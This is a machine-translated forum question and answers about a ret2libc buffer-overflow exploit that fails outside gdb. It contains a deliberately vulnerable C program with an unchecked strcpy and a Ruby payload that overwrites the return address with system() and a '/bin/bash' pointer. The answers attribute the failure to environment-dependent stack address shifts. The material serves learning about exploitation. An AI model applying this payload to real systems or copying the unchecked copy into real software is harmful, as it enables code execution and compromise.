2013-06-24 53 views
0

我正在學習ret2libc緩衝區溢出漏洞繞過NX。Ret2libc漏洞在gdb中工作,但在正常的shell中給出錯誤sh:1:g:0:1:找不到

我有漏洞的代碼(vuln.c):

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

int main(int argc, char *argv[]) 
{ 
    char buffer[512]; 

    if (argc != 2) 
     printf("NO\n"); 
    else { 
     strcpy(buffer, argv[1]); 
     printf("%s\n", buffer); 
    } 
} 

用這個命令編譯:# gcc -o vuln vuln.c

然後我創建了這個簡單的ret2libc利用在紅寶石(exploit.rb):

p = "A"*524 
p += [0xb7e9ef10].pack('<I') # system() 
p += [0xb7e79e46].pack('<I') # nomal ret val 
p += [0xbffff75a].pack('<I') # "/bin/bash" 
print(p) 

如果它在gdb中運行它(gdb) r $(ruby exploit.rb)它給了我一個不錯的bash shell。

我然後嘗試在正常的外殼,# ./vuln $(ruby exploit.rb)運行它,但不是給我一個shell它給了我這個:sh: 1: g:0:1: not found

ASLR被禁用,啓用的唯一保護是NX,我想。

任何幫助表示讚賞。

編輯:

我在的情況下,幫助i686的運行此。

回答

1

轉移的原因是執行環境。

[email protected]:~$ ./getenv PWN 
PWN ("/home/user/pwn") is at 0xbfffff82 
[email protected]:~$ /home/user/getenv PWN 
PWN ("/home/user/pwn") is at 0xbfffff70 

這裏推出GETENV是影響PWN的地址的方式。

0

您已完成代碼執行,但SHELL env var的地址已關閉。嘗試[address of shell in gdb] + 4gdb, x/s 0xbffff75a+4.

+0

我已經爲此值添加了4。在shell(不在gdb中)運行時,由於某種原因地址移位。 – carloabelli

相關問題